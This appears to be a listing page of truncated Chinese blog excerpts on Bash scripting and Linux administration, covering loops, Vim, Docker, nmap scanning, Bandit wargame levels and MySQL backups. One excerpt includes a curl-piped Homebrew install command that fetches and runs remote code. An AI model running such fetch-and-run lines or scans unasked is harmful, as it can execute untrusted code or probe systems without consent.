Shell编程基础 – C语言风格的Bash for循环 Shell Programming Essentials - C Style For Loop in Bash By JacksonML 循环是编程语言的基本概念之一&#xff0c;同样也是Bash编程的核心。当用户需要一遍又一遍地运行一系列命令直到达到特定条件时&#xff0c;例如&#xff1…

MIT-Missing Semester_Topic 3:Editors (Vim) 练习题

文章目录 练习一练习二练习三练习四练习五练习六练习七练习八 本 Topic 的 MIT 讲解网页&#xff08;练习题未给解答&#xff09; 练习一 自行完成 vimtutor。vimtutor 是 Vim 本身附带的一个入门教程&#xff0c;在 shell 中直接输入 vimtutor 便能运行。注意该教程在 8024 大…

MacBook Pro如何安装rust编程环境

安装过程分为以下几步&#xff1a; 1. 安装Homebrew。Homebrew是一个流行的MacOS的包管理器&#xff0c;可用于方便地安装各种软件。打开终端&#xff0c;运行以下命令&#xff1a; /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD…

[日常使用] Shell常用命令

Shell是什么&#xff1f; Shell简介 Shell是操作系统的外壳&#xff0c;是用户与操作系统内核之间的主要接口。它接收用户的命令并将其传递给内核执行&#xff0c;然后将执行结果返回给用户。Shell不仅是一个命令解释器&#xff0c;也是一种强大的编程语言。常见的Shell分为图…

每日一个脚本之一键部署Docker

每日一个shell脚本之一键部署Docker 源码参上 #!/usr/bin/bash # **************************************# CSDN: M乔木 # qq邮箱: 2776617348qq.com # 解释器: 这是一个shell脚本 # *************************…

Linux命令-builtin命令(执行bash内建命令)

说明 用于执行指定的bash内建命令。builtin 命令调用的bash内建命令优先于同名的外部命令及同名的shell函数。 语法 builtin [shell-builtin [arg ...]]参数 shell-builtin&#xff08;可选&#xff09;&#xff1a;要调用的bash内建命令。 arg&#xff08;可选&#xff09…

Linux bin包生成

需求背景&#xff1a; 在实际项目时我们很少把源码用个tar给到客户&#xff0c;这样显得很不专业&#xff0c;且有的时候我们提供补丁&#xff0c;那么这个时候我们提供一个补丁的bin包可以直接安装运行就显得很高大上了。 物料准备 准备一台liunx&#xff0c;虚拟机亦可&am…

nmap端口扫描工具安装和使用方法

nmap&#xff08;Network Mapper&#xff09;是一款开源免费的针对大型网络的端口扫描工具&#xff0c;nmap可以检测目标主机是否在线、主机端口开放情况、检测主机运行的服务类型及版本信息、检测操作系统与设备类型等信息。本文主要介绍nmap工具安装和基本使用方法。 nmap主…

Linux Shell 003-变量

Linux Shell 003-变量 本节关键字&#xff1a;Linux、Shell、变量、全局变量、系统变量 相关指令&#xff1a;read、echo、unset、export 变量的含义 变量是用来临时保存数据的&#xff0c;该数据是可以变化的数据。如果某个内容需要多次使用&#xff0c;并且在代码中重复出现…

【Bash/Shell】知识总结

文章目录 1. 总体认识1.1. Shell概述1.2. 第一个Shell脚本1.3. 注释 2. 变量2.1. 定义变量2.2. 使用变量2.3. 只读变量2.4. 删除变量2.5. 变量类型2.5.1. 字符串变量2.5.2. 整数变量2.5.3. 数组变量2.5.4. 环境变量2.5.5. 特殊变量 3. 输出3.1. echo命令3.2. printf命令 4. 运算…

Shell脚本自动化部署LAMP环境

[rootlocalhost ~]# vim liang.sh #!/bin/bash# LAMP终极部署cat <<-EOF-------------------------------------------------------------------------| LAMP终极部署 V1.0 |-------------------------------------------------------------------------| a. 部署Apache服…

bash脚本从ini文件读取设置

有时候我们需要脚本程序能保存一些设置&#xff0c;以便于下次运行的时候不用再做修改。即在启动的时候能够从文件&#xff08;比如用ini文件&#xff09;读取数据保存到变量里。 #!/bin/bash ##All right reserved Version 3.0 18/11/2022 LYX inifilename"/tmp/rtUD.…

bash 双hash算法sha256的写法

这样是不行的 echo -n "hello" | sha256sum | sha256sum 因为sha256sum的输出有干扰内容 pplde:~/tmp$ echo -n "hello" | sha256sum 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 -需要这样子 echo -n "hello" | sh…

15.bash shell中自定义命令行选项与getopt/getopts

文章目录 linux shell 命令行选项1.命令行选项的手动实现简单选项分离命令行参数和选项带值的选项合并选项 2.使用 getopt 命令getopts命令选项标准化 欢迎访问个人网络日志&#x1f339;&#x1f339;知行空间&#x1f339;&#x1f339; linux shell 命令行选项 选项是跟在单…

bash命令: logrotate的使用

1. 概述 Linux服务器上运行的程序都会通过日志来告知外部自己的运行过程、结果以及遇到的问题&#xff0c;随着日志的不断累计&#xff0c;它会变的越来越大&#xff0c;所以常见的方案是根据时间或者日志文件的大小&#xff0c;对日志文件进行轮转&#xff0c;比如Java程序里…

Bash脚本中的分支控制:深入理解Case语句

在编写Bash脚本时&#xff0c;我们经常需要根据不同的条件执行不同的代码块。传统的if-elif-else语句在处理多条件分支时可能会变得冗长和复杂。幸运的是&#xff0c;Bash提供了一个更为简洁的选择结构&#xff1a;case语句。在本文中&#xff0c;我们将深入探讨case语句的使用…

Wargames与bash知识14

Wargames与bash知识13 Bandit22 基于时间的作业调度程序cron会定期自动运行一个程序。在/etc/cron.d/中查找配置&#xff0c;并查看正在执行的命令。 注意&#xff1a;查看其他人编写的shell脚本是一项非常有用的技能。此级别的脚本有意使其易于阅读。如果您在理解它的作用时…

Shell编程--grep、egrep

grep 1. grep正则过滤---基本正则匹配1.1 * 0或多个1.2 \ < 词首定位符号 \ >词尾定位符号1.3 ^ 以什么开头1.4 $ 以什么结尾1.5 . 匹配单个字符1.6 .* 任意多个字符1.7 [ ] 匹配方括号中的任意一个字符1.8 [ - ] 匹配指定范围内的一个字符1.9 [^ ] 匹配不在指定组内的字…

轻松上手Linux文件操作:五种方法教你创建文件

轻松上手Linux文件操作&#xff1a;五种方法教你创建文件 一、引言二、使用touch命令创建文件三、使用文本编辑器创建文件四、使用echo命令创建文件五、使用cat命令创建文件六、使用重定向符号创建文件七、总结 一、引言 本文介绍五种在Linux系统中创建文件的方法&#xff0c;…

构建基于RHEL7(CentOS7)的OpenSSH9.5p1的RPM包和升级回退方案

本文适用&#xff1a;RHEL7系列&#xff0c;或同类系统(CentOS7等) 文档形成时期&#xff1a;2023年 因软件世界之复杂和个人能力之限&#xff0c;难免疏漏和错误&#xff0c;欢迎指正。 文章目录 环境准备安装依赖openssh-9.5p1-el7.spec内容构建RPM包下载安装前注意事项开启t…

shell脚本,ADB

Linux命令行命令是系统内置的命令或用户自定义的脚本&#xff08;shell 脚本&#xff0c;.sh扩展名结尾&#xff09;&#xff0c;可以通过终端输入命令来执行。这些命令通常存储在Linux系统的/bin、/usr/bin、/sbin、/usr/sbin等目录下&#xff0c;也可以在$PATH环境变量中指定…

虚拟机安装openjdk 输入 javac 报错 javac -version bash: javac: 未找到命令... 相似命令是: ‘java‘

问题 [root#localhost java-1.8.0-openjdk-1.8.0.262.b10-1.el7.x86_64]# javac -version bash: javac: 未找到命令... 相似命令是&#xff1a; java [root#localhost java-1.8.0-openjdk-1.8.0.262.b10-1.el7.x86_64]# java -version openjdk version "1.8.0_392" …

“/bin/bash“: stat /bin/bash: no such file or directory: unknown

简介&#xff1a;常规情况下&#xff0c;在进入容器时习惯使用 /bin/bash为结尾&#xff0c;如&#xff1a;docker exec -it test-sanic /bin/bash&#xff0c; 但是如果容器本身使用了精简版&#xff0c;只装了sh命令&#xff0c;未安装bash。这时就会抛出"/bin/bash&quo…

Linux之Shell脚本编程入门

Linux之Shell脚本编程入门 文章目录 Linux之Shell脚本编程入门Shell脚本编程入门1. 脚本格式2. 第一个Shell脚本&#xff1a;hello World3.第二个 shell脚本&#xff1a;duo命令处理4. shell中变量4.1 常用系统变量4.2 自定义变量4.3 特殊字符: $n4.4 特殊变量: $#4.5 特殊变量…

Linux检测端口 bash 脚本

安装 依赖程序 sudo apt install lsof -y #!/bin/bash #netstat -lntp tishitishitishi"如果你的系统拥有ROOT权限" echo -e "${tishitishitishi} 把保存后的脚本 sudo lsof 替换成lsof也就是不需要sudo \n并且把包含\$USER的行删掉" echo "${tishi…

Wargames与bash知识21

Wargames与bash知识21 Bandit30 在git官网下载一个《pro git》第二版&#xff0c;学习了一下&#xff0c;稍微对git有了认识&#xff1a; 获取git仓库的方法&#xff1a; 1、对现有的项目进行管理&#xff0c;进入该项目目录 git init 初始化仓库 git add 增加追踪文件 git …

MIT-Missing Semester_Topic 1: The Shell 练习题

目录 练习一练习二练习三练习四练习五练习六练习七练习八练习九练习十练习十一 MIT 讲解网页 练习一 准备 Unix shell 环境&#xff08;如 Bash 或 ZSH&#xff09;&#xff0c;注意 Windows 使用 cmd.exe 或 PowerShell 是错误的&#xff0c;应用 WSL子系统 或 Linux 虚拟机。…

Linux笔记之bash脚本中的-e、和

Linux笔记之bash脚本中的-e、&和&& code review! 文章目录 Linux笔记之bash脚本中的-e、&和&&1.&和&&2.-e 1.&和&& 在Linux bash脚本中&#xff0c;&符号有几个不同的用途&#xff0c;这里列举了一些常见的情况&#xf…

Adb windows脚本

#由于测试不太会用adb指令 所以自己写了一个adb的脚本&#xff0c;简化adb的使用 echo off set SAVE_DIRD:\screen if not exist "%SAVE_DIR%" ( mkdir "%SAVE_DIR%" echo %SAVE_DIR%创建成功 )set ADB_PATHD:\SDK\sdk\platform-tools\adb.exeif &quo…

linux bash shell的getopt以及函数用法小记

getopt 长选项 短选项 可选参数whilecaseifbasename函数变量shiftread 实现功能描述&#xff1a; 1. 实现可选参数传入 -c 或 --clearBuild。 2. 用shell脚本来实现选择&#xff0c;make时是否clean。 3. 可以打印用法帮助 和 作者信息。 #!/bin/bash# sh函数定义 *******…

Dockerfile里ADD * 保留原来的目录结构

1、问题 给新模块写Dockerfile&#xff0c;很多静态资源分散在各个目录&#xff0c;于是Dockerfile里我直接一句&#xff1a; ADD ./* /dest/镜像出来后&#xff0c;启动容器&#xff0c;进入容器种后发现&#xff1a;文件拷贝成功&#xff0c;但原来的目录结构都不在了&…

find命令 – 根据路径和条件搜索指定文件

linux-find find命令通常进行的是从根目录&#xff08;/&#xff09;开始的全盘搜索&#xff0c;有别于whereis、which、locate等有条件或部分文件的搜索。对于服务器负载较高的情况&#xff0c;建议不要在高峰时期使用find命令的模糊搜索&#xff0c;这会相对消耗较多的系统资…

Linux系统中编写bash脚本进行mysql的数据同步

一、为何要用脚本做数据同步 &#xff08;一&#xff09;、问题 我们的视频监控平台云服务器&#xff0c;需要向上级的服务器定期同步一些数据表的数据&#xff0c;前期做了个程序&#xff0c;可以实现同步。但是&#xff0c;现在数据库的结构改了&#xff0c;结果又需要该程序…

策略模式的应用(省去一系列的`if`和`elseif`)

目录 前言策略模式的定义举个例子一、第一版实现&#xff1a;二、第二版实现&#xff08;函数组合&#xff09;&#xff1a;三、第三版实现&#xff08;策略模式&#xff09;&#xff1a; 策略模式的优缺点优点&#xff1a;缺点&#xff1a; 小结 前言 从我个人理解来看&#…

【ROS-TF】综合详解与实验验证map、odom、base_footprint之间的TF变换关系

文章目录 1 启动2 TF树3 订阅map->footprint关系3.1 运行功能包tf_subscriber3.2 命令行rosrun tf tf_echo …4 一些实验结果4.1 刚刚启动雷达、底盘、里程计等,启动定位导航包4.2 沿x方向前进一小段距离后4.3 机器人保持静止,重新启动定位导航包4.4 再沿x方向前进一段距离…

在bash或脚本中,如何并行执行命令或任务(命令行、parallel、make)

最近要批量解压归档文件和压缩包&#xff0c;所以就想能不能并行执行这些工作。因为tar自身不支持并行解压&#xff0c;但是像make却可以支持生成一些文件&#xff0c;所以我才有了这种想法。 方法有两种&#xff0c;第一种不用安装任何软件或工具&#xff0c;直接bash或其他 …

bash脚本学习笔记

一、扫盲 脚本文件是一种文本文件&#xff0c;其中包含了一系列的命令和指令&#xff0c;可以被操作系统解释器直接解释执行。脚本文件通常被用来完成特定的任务或执行重复性的操作。 脚本文件通常以某种编程语言的语法编写&#xff0c;例如 Bash、Python、Perl、Ruby 等等。…

Linux笔记之bash脚本中的$符号

Linux笔记之bash脚本中的$符号 code review! 文章目录 Linux笔记之bash脚本中的$符号$符号和大括号{}结合使用 在 Bash 脚本中&#xff0c;$ 符号被用于许多不同的上下文中&#xff0c;主要用于访问变量的值、参数扩展、算术运算以及命令替换等&#xff1a; 访问变量的值 当你…

自用metadata.pegasus.txt bat生成脚本

下面代码保存为一个bat文件,放在存放rom的文件夹下运行 echo off setlocal enabledelayedexpansion :menu cls echo Please select a game ROM type: echo 1. FC echo 2. PSP echo. set /p choice"Enter your choice (1 or 2): " if "%choice%…

Linux 命令行的世界 :2.文件系统中跳转

我们需要学习的第一件事&#xff08;除了打字之外&#xff09;是如何在 Linux 文件系统中跳转。在这一章节中&#xff0c;我们将介绍以下命令&#xff1a;pwd 打印出当前工作目录名 cd 更改目录 ls 列出目录内容 Linux以分层目录结构来组织所有文件。这就意味着所有文件…

Makefile 和 Bash 脚本之间区别和联系

目 录 一、Makefile 和 Bash 脚本的定义 &#xff08;一&#xff09;Bash 脚本 &#xff08;二&#xff09;Makefile 二、Makefile 和 Bash 脚本的相同之处 三、Makefile 和 Bash 脚本的不同点 &#xff08;一&#xff09;目的 &#xff08;二&a…

14.bash shell中的for/while/until循环

文章目录 shell循环语句for命令**读取列表中的值****读取列表中的复杂值****从变量读取列表**迭代数组**从命令读取值****用通配符读取目录**C语言风格的shell for循环 shell循环while命令shell 循环的until命令shell循环跳出的break/continue命令break命令continue命令trick 欢…

bash 变量作用域

在shell 编程中&#xff0c;对 bash 变量作用域的理解是非常重要的&#xff0c;特别是在某些函数会被多次调用的情况&#xff0c;如果在函数中定义的是全局变量&#xff0c;就会导致下一次调用的时候&#xff0c;出现错误的逻辑的时候不容易发现。 bash的变量分成三种&#xff…

【Linux】从C语言文件操作 到Linux文件IO | 文件系统调用

文章目录 前言一、C语言文件I/O复习文件操作&#xff1a;打开和关闭文件操作&#xff1a;顺序读写文件操作&#xff1a;随机读写stdin、stdout、stderr 二、承上启下三、Linux系统的文件I/O系统调用接口介绍open()close()read()write()lseek() Linux文件相关重点 复习C文件IO相…

安卓11通过脚本修改相应板型系统属性

安卓10以后rk的一套源码兼容很多板型&#xff0c;多种cpu型号都兼容了&#xff0c;这一点相比之前省心了很多&#xff0c;所以就诞生了需要一套代码兼容多种板子的需求&#xff0c;定制修改中需要经常修改系统属性&#xff0c;通过以下脚本一次实现&#xff1a; #!/bin/bashfu…

Centos7使用手册

点击前往&#x1f517;我的博客完整文章目录 文章目录 Centos7使用手册Centos7系统环境搭建&#xff08;一&#xff09;——基本环境配置&#xff08;包含更新Centos&#xff0c;设置时间为网络时间&#xff0c;安装Docker&#xff0c;安装Java&#xff0c;安装maven&#xff…

Android.bp 常用模块类型

1 jar 用于编译 Java 代码并生成 .jar 文件。一般情况下&#xff0c;Android.bp 文件中会定义多个 jar 模块&#xff0c;每个 jar 模块对应着一个 Java 库 java_library {name: "mylibrary",srcs: ["src/**/*.java"],manifest: "AndroidManifest.xm…

Wargames与bash知识12

Wargames与bash知识12 Bandit20 关卡提示&#xff1a; 主目录中有一个setuid二进制文件&#xff0c;它执行以下操作&#xff1a;它在您指定为命令行参数的端口上连接到localhost。然后&#xff0c;它从连接中读取一行文本&#xff0c;并将其与前一级别的密码&#xff08;band…

Wargames与bash知识13

Wargames与bash知识13 Bandit21 基于时间的作业调度程序cron会定期自动运行一个程序。在/etc/cron.d/中查找配置&#xff0c;并查看正在执行的命令 cron, crontab, crontab(5) (use “man 5 crontab” to access this) 发现一个插曲&#xff0c;如果意外退出&#xff0c;短…

执行shell脚本报/bin/bash^M: bad interpreter错误的解决

转载说明&#xff1a;如果您喜欢这篇文章并打算转载它&#xff0c;请私信作者取得授权。感谢您喜爱本文&#xff0c;请文明转载&#xff0c;谢谢。 问题描述&#xff1a; 在notepad里面编辑修改了shell脚本&#xff0c;再上传到服务器执行&#xff0c;出现“-bash: ./test.sh:…

怎么在bash shell中操作复杂json对象

怎么在bash shell中操作复杂json对象 在bash shell中操作复杂JSON对象&#xff0c;jq可以帮助我们在bash环境下轻松地处理这类数据&#xff0c;本文将详细介绍如何使用jq在bash中操作复杂的JSON对象。 jq是一个轻量级且灵活的命令行JSON处理器&#xff0c;它允许你以非常高效的…

MIT-Missing Semester_Topic 6:Version Control (Git) 练习题

文章目录 练习一练习二练习三练习四练习五练习六练习七 本 Topic 的 MIT 讲解网页&#xff08;练习题未给解答&#xff09; 练习一 若还没有 Git 的相关经验&#xff0c;阅读 Pro Git 的前几章或诸如 Learn Git Branching 的相关教程&#xff0c;并在学习的同时从 Git 的数据模…

shell脚本基础语法(.sh ./ sh bash source shell)

Linux 之 Shell 脚本基础语法 0. 学习一门语言的顺序 1. Shell 编程概述 1.1 Shell 名词解释 在 Linux 操作系统中&#xff0c;Shell 是一个命令行解释器&#xff0c;它为用户提供了一个与操作系统内核交互的界面。用户可以通过 Shell 输入命令&#xff0c;然后 Shell 将这些…

bash和sh和./的区别

bash和sh和./的区别 今天在执行一个脚本的时候&#xff0c;用的是sh script.sh&#xff0c;执行报错&#xff0c;使用bash script.sh执行时就能成功&#xff0c;才知道sh和bash是不一样的 sh sh表示 Bourne Shell&#xff0c;是 Unix 系统上的一种基本的命令解释器。它也可以…

tar压缩分包,解决git上传对文件的大小限制

分包 比如压缩包abc.tar.gz大于github要求的30M, 可以通过分包命令&#xff1a; tar czf - abc.tar.gz | split -b 20m - abc.tar.gz 将abc.tar.gz分成不大于20M的多个包&#xff0c;再提交到github. 合并包 使用时通过命令将包合并回来&#xff1a; cat abc.tar.gz* | tar …

Mysql的备份还原

模拟环境准备 创建一个名为school的数据库&#xff0c;创建一个名为Stuent的学生信息表 mysql> create database school; Query OK, 1 row affected (0.00 sec)mysql> use school; Database changed mysql> CREATE TABLE Student (-> Sno int(10) NOT NULL COMME…

每日一个shell脚本之一键部署Zabbix

每日一个shell脚本之一键部署Zabbix 上一期我们展示了一键部署Agent端zabbix提升业务效率&#xff0c;本期带来一键部署zabbix的server端的服务脚本&#xff01; 源码参上 #!/usr/bin/bash # **************************************# CSDN: …

jenkins声明式流水线pipline深入学习

jenkins声明式流水线pipline深入学习 Jenkins 是一个流行的开源自动化服务器&#xff0c;它能够帮助开发团队实现持续集成&#xff08;CI&#xff09;和持续交付&#xff08;CD&#xff09;。在Jenkins的世界中&#xff0c;Pipeline是一种基于Groovy脚本的强大的编程方法&…

本地写的Bash脚本,Linux端运行报错:/bin/bash^M: bad interpreter: No such file or directory

背景 在本地写了个Bash Shell脚本&#xff0c;但上传到Linux端后加完权限执行时报错&#xff1a; &#xff08;脚本名&#xff1a;script.sh&#xff09; -bash: ./script.sh: /bin/bash^M: bad interpreter: No such file or directory 分析 这个错误通常是由于脚本文件的行…

Tomcat反向代理集群配置与应用深入讲解

Tomcat反向代理集群配置与应用深入讲解 一、概述 本文将详细介绍如何使用Tomcat实现反向代理集群的配置和应用。通过本文的学习&#xff0c;你将掌握如何搭建一个高性能、高可用的Web应用集群&#xff0c;并了解Tomcat反向代理集群的原理和配置方法。 二、反向代理集群原理 …

Linux 命令行的世界 :4.操作文件和目录

此时此刻&#xff0c;我们已经准备好了做些真正的工作&#xff01;这一章节将会介绍以下命令&#xff1a; • cp —复制文件和目录 • mv —移动/重命名文件和目录 • mkdir —创建目录 • rm —删除文件和目录 • ln —创建硬链接和符号链接 图形文件管理器能轻松地实现…

10.docker exec -it /bin/bash报错解决、sh与bash区别

报错 进入容器时&#xff0c;报如下错误 dockeruserdell-PowerEdge-R740:~$ docker exec -it daf2 /bin/bash OCI runtime exec failed: exec failed: unable to start container process: exec: "/bin/bash": stat /bin/bash: no such file or directory: unknown…

自动化构建平台(三)Linux搭建私有的docker镜像库之Harbor的安装和使用详解

文章目录 前言一、Harbor的安装第一步&#xff1a;安装docker第二步&#xff1a;安装docker-compose第三步&#xff1a;安装Harbor 二、Harbor登录三、Harbor项目管理第一步&#xff1a;创建项目第二步&#xff1a;推送镜像 四、Harbor权限控制五、Harbor自动清理多余的镜像手动…

10 个 Linux 中超方便的 Bash 别名

1、 你有几次遇到需要解压 .tar 文件但无法记住所需的确切参数&#xff1f;别名可以帮助你&#xff01;只需将以下内容添加到 .bash_profile 中&#xff0c;然后使用 untar FileName 解压缩任何 .tar 文件。 alias untartar -zxvf 2、 下载文件时&#xff0c;如果出现问题想要…

-bash: /root/.ssh/authorized_keys: Read-only file system

问题背景 由于跳板机不支持 ssh-copy-id 命令&#xff0c;为了配置免密登录&#xff0c;考虑在服务器上手动使用 cat 命令写入跳板机公钥 cat <<EOL >> ~/.ssh/authorized_keys [Your public key] EOL但却出现了以下错误 -bash: /root/.ssh/authorized_keys: Re…

3分钟看懂设计模式01:策略模式

一、什么是策略模式 定义一些列算法类&#xff0c;将每一个算法封装起来&#xff0c;并让它们可以互相替换。 策略模式让算法独立于使用它的客户而变化&#xff0c;是一种对象行为型模式。 以上是策略模式的一般定义&#xff0c;属于是课本内容。 在没有真正理解策略模式之…

Ansible playbook:剧本编写掌握

Ansible playbook&#xff1a;剧本编写掌握 Ansible是一种强大的自动化工具&#xff0c;用于配置管理、应用部署、任务执行等。它使用YAML语言编写剧本&#xff08;playbook&#xff09;&#xff0c;通过SSH协议远程控制主机。本文将介绍如何使用Ansible编写剧本&#xff0c;以…

【VSCode】SSH Remote 通过跳板机连开发机提示“bash行1 powershell未找到命令”

需求背景 因为需要&#xff0c;在家我需要挂上公司VPN然后SSH连到跳板机&#xff0c;然后再从跳板机SSH进开发机。 问题背景 跳板机进开发机输入完密码显示 bash行1 powershell未找到命令VSCode SSH Remote跳板机配置请自行搜素其他文章config配置 注意其中ssh.exe地址请根据…

总是 -bash: gomobile: 命令未找到

总是 -bash: gomobile: 命令未找到 问题描述 我的项目是/Users/$user/go/src/abc.com/project 当我尝试在 /Users/GaryChan/go/src/abc.com/project/sdk 并运行: export ANDROID_HOME/Users/$user/Library/Android/sdk/ndk-bundle/gomobile bind -targetandroid abc.com/p…

Shell echo、printf、test命令

目录 Shell echo命令 打印文本消息 显示变量值 输出特殊字符 输出到文件 追加到文件 Shell printf 命令 打印简单文本 Shell test 命令 文件测试 字符串比较 整数比较 逻辑运算 Shell echo命令 打印文本消息 echo "Hello, World!" 显示变量值 name&q…

全网最最最详细-bash: wget: 未找到命令如何解决教程

在基于 Red Hat 的系统中&#xff0c;包管理器是 yum 或者在更新的版本中是 dnf。 如果你的系统是 CentOS 7 或更早版本&#xff0c;你应该使用 yum 命令来安装 wget&#xff1a; sudo yum install wget如果你的系统是 CentOS 8 或者 Fedora&#xff0c;你可能需要使用 dnf 命…

Linux运维_Bash脚本_编译安装Mesa-23.3.6(OpenGL)

Linux运维_Bash脚本_编译安装Mesa-23.3.6(OpenGL) Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在…

每日shell脚本之定期检查服务器状态

每日shell脚本之定期检查服务器状态 #!/bin/bash# 设置检查间隔时间&#xff0c;单位为秒 interval60while true do# 获取CPU使用率cpu_usage$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk {print 100 - $1})# 获取内存使用率…

每日shell脚本之打印99乘法表

每日shell脚本之打印99乘法表 #!/bin/bash for i in $(seq 1 9); dofor j in $(seq 1 9); doecho -n "$i * $j $(($i * $j)) "doneecho done

shell脚本使用

文章目录 前言一、变量的使用1、判断变量是否为空2、判断变量是否相等3、比较两个整数大小 二、判断路径是否为空 前言 shell的基本使用 一、变量的使用 1、判断变量是否为空 #!/bin/sh variable$(cat /etc/linux.txt | grep "linux") if [ -z "$variable&qu…

-bash: ./xxx.sh: /bin/sh^M: bad interpreter: No such file or directory

问题&#xff1a; 解决Linux服务器执行命令时出现-bash: ./xxx.sh: /bin/sh^M: bad interpreter: No such file or directory报错 原因&#xff1a; 说明这个文件编码方式是windows编辑的&#xff0c;必须转化格式为unix格式 解决方案&#xff1a; vim [脚本名称].sh :set…

Linux系统运维脚本:编写bash脚本程序监控服务器的磁盘空间,在磁盘使用率超过阈值时发送警告邮件

目 录 一、要求 二、解决方案 &#xff08;一&#xff09;解决思路 &#xff08;二&#xff09;方案 三、脚本程序实现 &#xff08;一&#xff09;脚本代码和解释 1、脚本代码 2、代码解释 &#xff08;二&#xff09;脚本验证 1、脚本编辑 2、给予执…

wsl-oraclelinux -bash: nvidia-smi: command not found

-bash: nvidia-smi: command not found 1. 问题2. 解决方法 1. 问题 在 wsl Oracle Linux 中&#xff0c;执行 nvidia-smi 报下面错误&#xff0c; -bash: nvidia-smi: command not found2. 解决方法 export PATH/usr/lib/wsl/lib:$PATH完结&#xff01;

在Centos中用Docker部署oracle-12c

一、介绍 Oracle 12c是Oracle 11g的后续版本。12c代表云计算&#xff08;Cloud Computing&#xff09;&#xff0c;这是Oracle在该版本中强调的一个关键概念。它具有多租户架构、数据库内存、安全增强、大数据管理和自动化管理等功能。它被广泛应用于企业级应用程序和大型数据…

Linux运维_Bash脚本_部署安装DocBook-XML-4.5(XML-DTD)

Linux运维_Bash脚本_部署安装DocBook-XML-4.5(XML-DTD) Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可…

策略模式 详解 设计模式

策略模式 策略模式是一种行为型设计模式&#xff0c;它定义了一系列算法&#xff0c;将每个算法封装到具有共同接口的独立类中&#xff0c;并且使它们可以相互替换。 策略模式可以让算法的变化独立于使用算法的客户端。 主要解决&#xff1a; 在有多种算法相似的情况下&#…

Git Bash中安装tree

文章目录 问题描述解决办法A备选办法BRef 问题描述 在Git Bash中使用tree报错&#xff1a; tree # bash: tree: command not found解决办法A 下载二进制文件&#xff1a; https://gnuwin32.sourceforge.net/packages/tree.htm -> 选binary。下载后解压.zip 把解压后的tre…

Python执行 nohup 导致僵尸进程问题. /usr/bin/sh -> /usr/bin/bash

将 /usr/bin/sh -> dash 改成 /usr/bin/sh -> /usr/bin/bash 即可解决. ln -sf /usr/bin/bash /usr/bin/sh cmd" nohup python3 xxxx.py > /xx/xxx.log 2>&1 &" #在python里执行上边的命令ret subprocess.Popen(cmd,shellTrue,stdouts…

bash 给表格加列名

在Bash中给一个文本文件&#xff08;我们这里假设它是一个表格&#xff0c;以逗号、空格或其他分隔符分隔的&#xff09;加上列名&#xff0c;可以使用多种方法。这里介绍两种常见方法&#xff1a;使用sed命令和使用awk命令。 使用sed命令 如果你想在文件的最开始添加列名&am…

室友打了一把王者的时间,我理清楚了grep,find,管道|,xargs的区别与联系,以前用的时候不知道为什么要这样用

目录 问题引入 find和grep的基本区别 xargs命令 Linux命令的标准输入 vs 命令行参数 举例总结 问题引入 在自己做项目的过程中&#xff0c;想使用linux命令统计下一个目录下html文件的数量&#xff0c;在思考应该使用grep还是find去配合wc指令统计文件数量&#xff0c;后来…

Linux基础-新手必备命令

概述系统工作系统状态检测文件与目录管理文件内容查阅与编辑打包压缩与搜索常见命令图解参考资料概述常见执行 Linux 命令的格式是这样的&#xff1a;命令名称 [命令参数] [命令对象]注意&#xff0c;命令名称、命令参数、命令对象之间请用空格键分隔。命令对象一般是指要处理的…

Linux下ODBC的安装配置

文章目录unixODBC的安装与配置安装包下载编译安装unixODBC的常用命令unixODBC的配置文件unixODBC的安装与配置 在Linux平台下如果需要使用ODBC连接数据库&#xff0c;则需要先安装unixODBC&#xff0c;然后再安装相应的数据库的ODBC驱动。 有些系统如果自带了UnixODBC&#xf…

Jenkins 将shell脚本启动方式修改为bash

platform"arm x86" if [[ "$platform" ~ "arm" ]] thenecho "arm" fi最近在调试Jenkins实现的一些功能&#xff0c;发现在本地可以运行的脚本内容到了Jenkins里面就没办法运行了&#xff0c;不是提示unexpected operator就是提示[[ : …

信息安全与阿里云等保三级方案实践总结

信息安全在当今数字化时代变得至关重要&#xff0c;企业和组织需要采取有效措施来保护其数据和信息资产。阿里云作为中国领先的云服务提供商&#xff0c;提供了等保三级方案&#xff0c;帮助用户满足国家信息安全等级保护的要求。本文将探讨信息安全和阿里云等保三级方案的重要…

typeset 或者 [[: not found 解决方案

背景 unbuntu执行脚本出现上述错误 原因 大部分GNU/Linux系统上&#xff0c;/bin/sh都是指向/bin/bash。可以忽略这个区别。但是debian和ubuntu系统上&#xff0c;sh默认是dash的符号链接&#xff0c;dash不支持上述语法。 解决方案 将/bin/sh 指向 /bin/bash sudo su cd /…

-bash: unzip: 未找到命令的解决方案

遇到 -bash: unzip: 未找到命令 这样的错误信息&#xff0c;表示你的系统中没有安装 unzip 工具。unzip 是一个常用的解压工具&#xff0c;用于解压缩 .zip 文件。你可以通过系统的包管理器安装它。 根据你使用的 Linux 发行版&#xff0c;安装 unzip 的命令会有所不同。下面是…

使用reprepro+nginx搭建apt服务器

目录 项目背景 项目要求 项目开发过程 1、apt服务器的搭建 2、实现自定义指定源文件列表来实现apt update更新 3、实现软件启动时自动更新 4. source.list中镜像源地址的格式 项目开发的难点/坑点 总结 项目背景 前面写过一篇“利用Nginx搭建一个apt服务器”&#xff…

mac 配置.bash_profile不生效问题

1、问题描述 mac系统中配置了环境变量只能在当前终端生效&#xff0c;切换了终端就无效了&#xff0c;查了下问题所在。mac系统会预装一个终极shell - zsh&#xff0c;环境变量读取在 .zshrc 文件下。 2、解决方案 1、切换终端到bash 切换终端到bash chsh -s /bin/bash 切换终端…

每日shell脚本之自动化备份数据库周期性灾备

每日shell脚本之自动化备份数据库周期性灾备 使用本脚本前在服务器安装 物理备份工具-xtrabackup #!/usr/bin/bash #CSDN :M乔木 #Email:2776617348qq.com #解释器:这是一个shell脚本 #数据库用户密码 user数据库用户 passwd数据库密码#检查备份情况 bm…

Linux运维_Bash脚本_编译安装GTK+-3.24.41

